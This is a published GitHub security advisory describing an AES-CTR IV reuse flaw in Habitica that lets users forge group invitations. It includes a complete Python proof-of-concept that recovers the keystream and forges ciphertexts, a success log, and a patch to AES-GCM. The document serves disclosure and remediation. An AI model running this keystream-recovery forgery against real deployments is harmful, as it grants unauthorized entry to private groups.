Skip to content

Reused IV Allows Forged Group Invites

Low
SabreCat published GHSA-wj5m-v567-ph9j Mar 12, 2026

Package

habitica (GitHub)

Affected versions

v4.22.0+

Patched versions

v5.46.3

Description

by Corban Villa (corban.villa@berkeley.edu)

Habitica Vulnerability Report

Summary

Habitica’s encryption helper instantiates AES-256-CTR with a single IV baked into configuration, so every ciphertext generated by encrypt() reuses the same keystream. Because transactional emails expose an unsubscribe token whose plaintext is fully known to the recipient, any user can recover that keystream and forge groupInvite ciphertexts that registration decrypts and trusts, causing new accounts to be added to private parties or guilds without a legitimate invitation.

Impact

  • Recovering the keystream from one unsubscribe link allows an attacker to encrypt arbitrary JSON payloads for the groupInvite query parameter.
  • Registering with the forged ciphertext causes _handleGroupInvitation to accept it as authentic and queue invitations (or auto-join) for any private party or guild identified in the payload, bypassing invite moderation.
  • All other features that rely on the same helper (unsubscribe links, reset codes, etc.) become malleable because their ciphertexts can be rewritten with the reused keystream.
  • Prerequisites: the attacker only needs their own Habitica account/email to obtain an unsubscribe code and the _id of the target group (visible to existing members or leaked via chat/invite messages).

Affected Components

  • Tested commit: 55d13e44d4eb76f22ee4a32f533ad4f9237fc6bd
  • Files / functions: website/server/libs/encryption.js:7-25; website/server/libs/email.js:106-146; website/server/libs/invites/index.js:187-210; website/server/libs/auth/index.js:28-64,185-188.
  • Configuration assumptions: default AES secrets are shared across encrypt() consumers; transactional emails are delivered; the /api/v3/user/auth/local/register endpoint accepts groupInvite query parameters under default settings.

Vulnerability Type

  • Category: Cryptographic misuse (AES-CTR IV reuse / unauthenticated encryption).
  • CWE: CWE-323 – Reusing a Nonce, Key Pair in Encryption.

Technical Root Cause

website/server/libs/encryption.js loads SESSION_SECRET_KEY and a single SESSION_SECRET_IV at module scope and feeds them directly into createCipheriv / createDecipheriv for every message. AES-CTR requires a unique nonce per encryption, so reusing this IV makes all ciphertext bytes equal to plaintext ⊕ keystream. website/server/libs/email.js:106-146 constructs unsubscribe URLs by encrypting {"_id":userId,"email":userEmail}, a plaintext fully known to the recipient, giving any user access to the keystream bytes for that length. website/server/libs/invites/index.js:187-210 encrypts group invite payloads with the same helper and no MAC/signature, and website/server/libs/auth/index.js simply decrypts any supplied groupInvite query parameter and mutates user.invitations.* based on the JSON fields. Nothing ties the ciphertext to a stored invite, so once the keystream is known the attacker can synthesize arbitrary invite payloads that the server accepts.

Reproduction Steps

  1. Start the local Habitica stack as documented so the API is reachable at http://localhost:3000 with default secrets and email generation.
  2. From the provided PoC directory, run python run.py to execute the exploit script against the running stack.
  3. The script registers an attacker-controlled account, requests the unsubscribe ciphertext for that account (mirroring the real email content), XORs it with the known plaintext to recover the keystream, forges a groupInvite aimed at a private party it controls, and registers a “victim” account with the forged query parameter.
  4. Observe the script’s final output (or query /api/v3/user for the victim using the returned token) showing invitations.party.id equal to the attacker’s private party and invitations.party.inviter equal to the attacker’s user ID, demonstrating that the forged ciphertext was accepted.

Proof of Concept

  • run.py automates the full attack: it boots the stack, registers attacker/victim accounts, derives the keystream from an unsubscribe token, forges a ciphertext for { "id": <partyId>, "inviter": <attackerId> }, and confirms that registration enqueues the invite without any server-side validation.
  • unsubscribe_code_helper.js is executed inside the application container to reproduce the exact unsubscribe ciphertext Habitica emails, ensuring the recovered keystream matches production behavior.
  • run.log captures one successful execution, including the repeated IV, recovered keystream prefix, forged ciphertext, and the victim’s invitation state proving impact.
run.py (forge and register with malicious group invite)

Full exploit script that orchestrates user creation, keystream recovery, ciphertext forgery, and verification against the live stack.

#!/usr/bin/env python3
"""Rung-3 PoC: forge a Habitica groupInvite via AES-CTR IV reuse."""

from __future__ import annotations

import json
import subprocess
import uuid
from collections import OrderedDict
from pathlib import Path

import requests

script_dir = Path(__file__).resolve().parent
repo_root = next(
    path for path in [script_dir, *script_dir.parents]
    if (path / "zn" / "scripts" / "up.sh").exists()
)
base_url = "http://localhost:3000"
up_script = repo_root / "zn" / "scripts" / "up.sh"
down_script = repo_root / "zn" / "scripts" / "down.sh"
config_script = repo_root / "zn" / "scripts" / "config.sh"
unsubscribe_helper = script_dir / "unsubscribe_code_helper.js"
container_repo_root = Path("/usr/src/habitica")
helper_path_inside_container = container_repo_root / unsubscribe_helper.relative_to(repo_root)
default_password = "CorrectHorseBatteryStaple1!"
http_timeout = 30


def _resolve_compose_file() -> Path:
    command = f"source '{config_script}' && resolve_compose_file"
    result = subprocess.run(
        ["bash", "-c", command],
        cwd=repo_root,
        capture_output=True,
        text=True,
        check=True,
    )
    return Path(result.stdout.strip())


compose_file = _resolve_compose_file()


def main():
    print("[+] Rung-3 objective: turn an unsubscribe ciphertext into a forged groupInvite and auto-join a private party.")
    session = requests.Session()

    suffix = uuid.uuid4().hex[:6]
    attacker_username = f"r3-attacker-{suffix}"
    attacker_local_part = f"{attacker_username}.padding-{'x'*30}"
    attacker_email = f"{attacker_local_part}@example.test"

    print(f"[+] Registering attacker-controlled account {attacker_username} ...")
    attacker = register_user(session, attacker_username, attacker_email)
    print(f"    -> Attacker _id: {attacker['id']}")

    party_name = f"r3-private-party-{suffix}"
    print(f"[+] Creating private party '{party_name}' to target ...")
    party = create_private_party(session, attacker, party_name=party_name)
    target_group_id = party["_id"]
    print(f"    -> Party created with _id {target_group_id}")

    print("[+] Simulating attacker email capture: generating unsubscribe ciphertext via helper script inside the app container ...")
    unsubscribe_cipher = fetch_unsubscribe_ciphertext(attacker["id"], attacker_email)
    unsub_plaintext = canonical_json(OrderedDict([
        ("_id", attacker["id"]),
        ("email", attacker_email),
    ])).encode("utf-8")
    keystream = recover_keystream(unsub_plaintext, unsubscribe_cipher)
    print(f"    -> Captured {len(keystream)} keystream bytes from unsubscribe link: {unsubscribe_cipher[:32]}...")

    invite_plaintext = canonical_json(OrderedDict([
        ("id", target_group_id),
        ("inviter", attacker["id"]),
    ])).encode("utf-8")
    forged_cipher = forge_ciphertext_hex(keystream, invite_plaintext)
    print(f"[+] Forged ciphertext for malicious groupInvite: {forged_cipher[:48]}...")

    victim_username = f"r3-victim-{suffix}"
    victim_email = f"{victim_username}@example.test"
    print(f"[+] Registering new victim account with forged groupInvite parameter ...")
    victim = register_user(session, victim_username, victim_email, group_invite=forged_cipher)
    print(f"    -> Victim _id: {victim['id']}")

    print("[+] Fetching victim profile to inspect pending invitations ...")
    victim_state = fetch_user_state(session, victim)
    party_invite = victim_state.get("invitations", {}).get("party") or {}
    inviter_id = party_invite.get("inviter")
    invite_group_id = party_invite.get("id")

    if invite_group_id == target_group_id and inviter_id == attacker["id"]:
        print("[+] SUCCESS: Newly created user automatically received the forged invite.")
        print(f"    -> invitations.party.id: {invite_group_id}")
        print(f"    -> invitations.party.inviter: {inviter_id}")
    else:
        print("[!] Victim invitations did not include the forged payload. Full invitations object:\n" + json.dumps(victim_state.get("invitations", {}), indent=2))
        raise SystemExit(1)


def run_cmd(command, *, capture_output=False, env=None):
    """Run a command from the repo root."""
    return subprocess.run(
        command,
        cwd=repo_root,
        env=env,
        capture_output=capture_output,
        text=True,
        check=True,
    )


def run_in_server_container(command, *, capture_output=False, env=None):
    """Execute a command inside the docker compose 'server' service."""
    env_args = []
    if env:
        for key, value in env.items():
            env_args.append(f"{key}={value}")
    full_command = [
        "docker", "compose", "-f", str(compose_file), "exec", "-T", "server",
        "env", *env_args, *command,
    ]
    return run_cmd(full_command, capture_output=capture_output)


def start_stack():
    """Boot the Habitica docker stack."""
    print(f"[+] Starting Habitica stack with {up_script.relative_to(repo_root)} ...")
    run_cmd(["bash", str(up_script)])


def stop_stack():
    """Tear down the Habitica docker stack."""
    print(f"[+] Stopping Habitica stack with {down_script.relative_to(repo_root)} ...")
    try:
        run_cmd(["bash", str(down_script)])
    except subprocess.CalledProcessError as err:
        print(f"[!] Stack shutdown reported an error: {err}")


def canonical_json(payload: OrderedDict) -> str:
    """Match Node's JSON.stringify output (no spaces, stable order)."""
    return json.dumps(payload, separators=(",", ":"), ensure_ascii=False)


def recover_keystream(plaintext: bytes, ciphertext_hex: str) -> bytes:
    cipher_bytes = bytes.fromhex(ciphertext_hex)
    if len(cipher_bytes) != len(plaintext):
        raise ValueError("Ciphertext length does not match plaintext length; IV reuse proof would fail.")
    return bytes(cb ^ pb for cb, pb in zip(cipher_bytes, plaintext))


def forge_ciphertext_hex(keystream: bytes, forged_plaintext: bytes) -> str:
    if len(keystream) < len(forged_plaintext):
        raise ValueError("Recovered keystream is too short for the forged payload.")
    forged = bytes(ks ^ pt for ks, pt in zip(keystream, forged_plaintext))
    return forged.hex()


def register_user(session: requests.Session, username: str, email: str, *, group_invite: str | None = None) -> dict:
    url = f"{base_url}/api/v3/user/auth/local/register"
    if group_invite:
        url += f"?groupInvite={group_invite}"
    payload = {
        "username": username,
        "email": email,
        "password": default_password,
        "confirmPassword": default_password,
    }
    response = session.post(url, json=payload, timeout=http_timeout)
    try:
        response.raise_for_status()
    except requests.HTTPError as err:  # type: ignore[attr-defined]
        raise RuntimeError(
            f"Registration failed ({response.status_code}): {response.text}"
        ) from err
    data = response.json()["data"]
    return {
        "id": data["_id"],
        "apiToken": data["apiToken"],
        "username": data["auth"]["local"]["username"],
        "email": data["auth"]["local"]["email"],
    }


def create_private_party(session: requests.Session, attacker: dict, *, party_name: str) -> dict:
    headers = {
        "x-api-user": attacker["id"],
        "x-api-key": attacker["apiToken"],
        "x-client": "rung3-poc",
    }
    payload = {
        "name": party_name,
        "type": "party",
        "privacy": "private",
    }
    response = session.post(f"{base_url}/api/v3/groups", headers=headers, json=payload, timeout=http_timeout)
    response.raise_for_status()
    return response.json()["data"]


def fetch_unsubscribe_ciphertext(user_id: str, email: str) -> str:
    if not unsubscribe_helper.exists():
        raise SystemExit(f"Missing helper script: {unsubscribe_helper}")
    result = run_in_server_container(
        ["node", str(helper_path_inside_container), user_id, email],
        capture_output=True,
    )
    ciphertext = (result.stdout or "").strip()
    if not ciphertext:
        raise RuntimeError("Unsubscribe helper did not emit ciphertext")
    return ciphertext


def fetch_user_state(session: requests.Session, user: dict) -> dict:
    headers = {
        "x-api-user": user["id"],
        "x-api-key": user["apiToken"],
    }
    response = session.get(f"{base_url}/api/v3/user", headers=headers, timeout=http_timeout)
    response.raise_for_status()
    return response.json()["data"]


if __name__ == "__main__":
    start_stack()
    try:
        main()
    finally:
        stop_stack()
unsubscribe_code_helper.js (replicates unsubscribe link generation)

Helper invoked inside the server container to emit the exact ciphertext Habitica would embed in an unsubscribe link for a given user ID and email.

/* eslint-disable import/no-commonjs, no-console */

// This helper mirrors the logic used when Habitica builds unsubscribe links.
// It emits the ciphertext for JSON.stringify({_id, email}) so the rung-3 PoC
// can treat it exactly like the code delivered inside transactional emails.

require('@babel/register');
const path = require('path');

const repoRoot = process.cwd();
const setupNconf = require(path.join(repoRoot, 'website/server/libs/setupNconf.js')).default;
setupNconf();
const { encrypt } = require(path.join(repoRoot, 'website/server/libs/encryption.js'));

const [,, userId, email] = process.argv;

if (!userId || !email) {
  console.error('Usage: node unsubscribe_code_helper.js <userId> <email>');
  process.exit(1);
}

const payload = JSON.stringify({
  _id: userId,
  email,
});

process.stdout.write(encrypt(payload));
run.log (successful exploit execution)

Execution log showing the static IV, recovered keystream bytes, forged ciphertext, and the victim account receiving the fabricated invite.

[+] Starting Habitica stack with zn/scripts/up.sh ...
[+] Rung-3 objective: turn an unsubscribe ciphertext into a forged groupInvite and auto-join a private party.
[+] Registering attacker-controlled account r3-attacker-d12bd9 ...
    -> Attacker _id: 8d8ed944-9e9e-4285-b26b-6b5a06b011eb
[+] Creating private party 'r3-private-party-d12bd9' to target ...
    -> Party created with _id 3604cc70-3b7b-4402-9a60-84c9afa7d648
[+] Simulating attacker email capture: generating unsubscribe ciphertext via helper script inside the app container ...
    -> Captured 127 keystream bytes from unsubscribe link: a6520d8a1626c58a7c213f6aa4407e9d...
[+] Forged ciphertext for malicious groupInvite: a6523b87503edd9b7275336ca34e7a847b5a01fb46f9b1ce...
[+] Registering new victim account with forged groupInvite parameter ...
    -> Victim _id: 551b2bd7-7f27-40ef-a08c-a646c4b4151e
[+] Fetching victim profile to inspect pending invitations ...
[+] SUCCESS: Newly created user automatically received the forged invite.
    -> invitations.party.id: 3604cc70-3b7b-4402-9a60-84c9afa7d648
    -> invitations.party.inviter: 8d8ed944-9e9e-4285-b26b-6b5a06b011eb
[+] Stopping Habitica stack with zn/scripts/down.sh ...

Suggested Patch

Here's a potential patch to address this vulnerability. It's been tested to compile and prevent the vulnerability from being exploited. It was implemented in the production environment in version 5.46.3, live March 12, 2026.

patch.diff
diff --git a/config.json.example b/config.json.example
index e34d071..b3579b7 100644
--- a/config.json.example
+++ b/config.json.example
@@ -75,7 +75,6 @@
   "S3_ACCESS_KEY_ID": "accessKeyId",
   "S3_BUCKET": "bucket",
   "S3_SECRET_ACCESS_KEY": "secretAccessKey",
-  "SESSION_SECRET_IV": "12345678912345678912345678912345",
   "SESSION_SECRET_KEY": "1234567891234567891234567891234567891234567891234567891234567891",
   "SESSION_SECRET": "YOUR SECRET HERE",
   "SITE_HTTP_AUTH_ENABLED": "false",
diff --git a/website/server/libs/encryption.js b/website/server/libs/encryption.js
index a977904..91ec634 100644
--- a/website/server/libs/encryption.js
+++ b/website/server/libs/encryption.js
@@ -1,26 +1,46 @@
 import {
   createCipheriv,
   createDecipheriv,
+  randomBytes,
 } from 'crypto';
 import nconf from 'nconf';
 
-const algorithm = 'aes-256-ctr';
+const ALGORITHM = 'aes-256-gcm';
+const IV_LENGTH_BYTES = 12; // 96-bit nonce per NIST guidance for GCM
+const AUTH_TAG_LENGTH_BYTES = 16; // 128-bit authentication tag
 const SESSION_SECRET_KEY = nconf.get('SESSION_SECRET_KEY');
-const SESSION_SECRET_IV = nconf.get('SESSION_SECRET_IV');
 
 const key = Buffer.from(SESSION_SECRET_KEY, 'hex');
-const iv = Buffer.from(SESSION_SECRET_IV, 'hex');
 
+/**
+ * Encrypt a UTF-8 string using AES-256-GCM and return iv|ciphertext|tag as hex.
+ * A fresh nonce is generated for every message to avoid keystream reuse, and
+ * the auth tag ensures forged payloads are rejected at the trust boundary.
+ */
 export function encrypt (text) {
-  const cipher = createCipheriv(algorithm, key, iv);
-  let crypted = cipher.update(text, 'utf8', 'hex');
-  crypted += cipher.final('hex');
-  return crypted;
+  const iv = randomBytes(IV_LENGTH_BYTES);
+  const cipher = createCipheriv(ALGORITHM, key, iv);
+  const ciphertext = Buffer.concat([cipher.update(text, 'utf8'), cipher.final()]);
+  const authTag = cipher.getAuthTag();
+  return Buffer.concat([iv, ciphertext, authTag]).toString('hex');
 }
 
+/**
+ * Decrypt an AES-256-GCM payload previously produced by encrypt().
+ * The layout is iv (12B) || ciphertext || authTag (16B), all hex encoded.
+ */
 export function decrypt (text) {
-  const decipher = createDecipheriv(algorithm, key, iv);
-  let dec = decipher.update(text, 'hex', 'utf8');
-  dec += decipher.final('utf8');
-  return dec;
+  const payload = Buffer.from(text, 'hex');
+  if (payload.length <= IV_LENGTH_BYTES + AUTH_TAG_LENGTH_BYTES) {
+    throw new Error('Encrypted payload is malformed');
+  }
+
+  const iv = payload.subarray(0, IV_LENGTH_BYTES);
+  const authTag = payload.subarray(payload.length - AUTH_TAG_LENGTH_BYTES);
+  const ciphertext = payload.subarray(IV_LENGTH_BYTES, payload.length - AUTH_TAG_LENGTH_BYTES);
+
+  const decipher = createDecipheriv(ALGORITHM, key, iv);
+  decipher.setAuthTag(authTag);
+  const decrypted = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
+  return decrypted.toString('utf8');
 }

Responsible Disclosure

At the time of reporting, this repository does not have GitHub private vulnerability reporting enabled. To keep the disclosure process simple and coordinated, we recommend handling this via a GitHub Repository Security Advisory (Security -> Advisories): create a draft advisory to track discussion and remediation privately, then publish the advisory after a fix is released so downstream users can update promptly. (Optional: enable Private vulnerability reporting to add a “Report a vulnerability” button for future reports.)

References

Environment Configuration

We utilize these standardized harness scripts to start and stop environments across projects. We include these scripts to enable easier reproduction of our proof of concept code.

up.sh
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd -P)"
source "$SCRIPT_DIR/config.sh"

PROJECT_ROOT="$(find_repo_root)"
COMPOSE_FILE_PATH="$(resolve_compose_file)"

cd "$PROJECT_ROOT"
ensure_runtime_config

echo "Starting stack with $COMPOSE_FILE_PATH ..."
docker compose -f "$COMPOSE_FILE_PATH" up -d

HEALTH_URL="${HEALTH_URL:-http://localhost:3000/api/v3/status}"
HEALTH_TIMEOUT="${HEALTH_TIMEOUT:-300}"
HEALTH_INTERVAL="${HEALTH_INTERVAL:-5}"

echo "Waiting for service health at ${HEALTH_URL} (timeout: ${HEALTH_TIMEOUT}s, interval: ${HEALTH_INTERVAL}s)..."
end_time=$((SECONDS + HEALTH_TIMEOUT))

until curl -fsS "$HEALTH_URL" >/dev/null; do
  if (( SECONDS >= end_time )); then
    echo "Timed out waiting for health check at ${HEALTH_URL}" >&2
    docker compose -f "$COMPOSE_FILE_PATH" ps
    docker compose -f "$COMPOSE_FILE_PATH" logs --tail 100
    exit 1
  fi
  sleep "$HEALTH_INTERVAL"
done

echo "Service is healthy."
down.sh
#!/usr/bin/env bash
set -euo pipefail

SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd -P)"
source "$SCRIPT_DIR/config.sh"

PROJECT_ROOT="$(find_repo_root)"
COMPOSE_FILE_PATH="$(resolve_compose_file)"

cd "$PROJECT_ROOT"
echo "Stopping stack defined in $COMPOSE_FILE_PATH ..."
docker compose -f "$COMPOSE_FILE_PATH" down
config.sh
#!/usr/bin/env bash
set -euo pipefail

# Resolve repository root by walking up from this script location.
find_repo_root() {
  local dir
  dir="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd -P)"

  while [[ "$dir" != "/" ]]; do
    if [[ -d "$dir/.git" || -f "$dir/.git" ]]; then
      echo "$dir"
      return
    fi
    dir="$(dirname "$dir")"
  done

  echo "Unable to locate repository root from ${BASH_SOURCE[0]}" >&2
  exit 1
}

# Pick the compose file to use. Preference: $COMPOSE_FILE override, then dev, then default.
resolve_compose_file() {
  local root
  root="$(find_repo_root)"

  if [[ -n "${COMPOSE_FILE:-}" ]]; then
    if [[ -f "$COMPOSE_FILE" ]]; then
      echo "$(realpath "$COMPOSE_FILE")"
      return
    fi
    echo "COMPOSE_FILE is set but does not exist: $COMPOSE_FILE" >&2
    exit 1
  fi

  if [[ -f "$root/docker-compose.dev.yml" ]]; then
    echo "$root/docker-compose.dev.yml"
    return
  fi

  if [[ -f "$root/docker-compose.yml" ]]; then
    echo "$root/docker-compose.yml"
    return
  fi

  echo "Unable to find a docker compose file in $root" >&2
  exit 1
}

# Helper to run docker compose with the resolved file.
compose() {
  docker compose -f "$(resolve_compose_file)" "$@"
}

# Ensure sample configs are copied into place for local usage.
ensure_runtime_config() {
  local root
  root="$(find_repo_root)"

  if [[ -f "$root/config.json.example" && ! -f "$root/config.json" ]]; then
    cp "$root/config.json.example" "$root/config.json"
  fi
}

Ethics

This report and PoC were produced with human oversight and manually validated. AI coding tools were used to help draft and implement parts of the analysis and reproduction, but all findings and exploitability claims were verified by the aforementioned researchers.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:N/A:N

CVE ID

No known CVE

Weaknesses

Reusing a Nonce, Key Pair in Encryption

Nonces should be used for the present occasion and only once. Learn more on MITRE.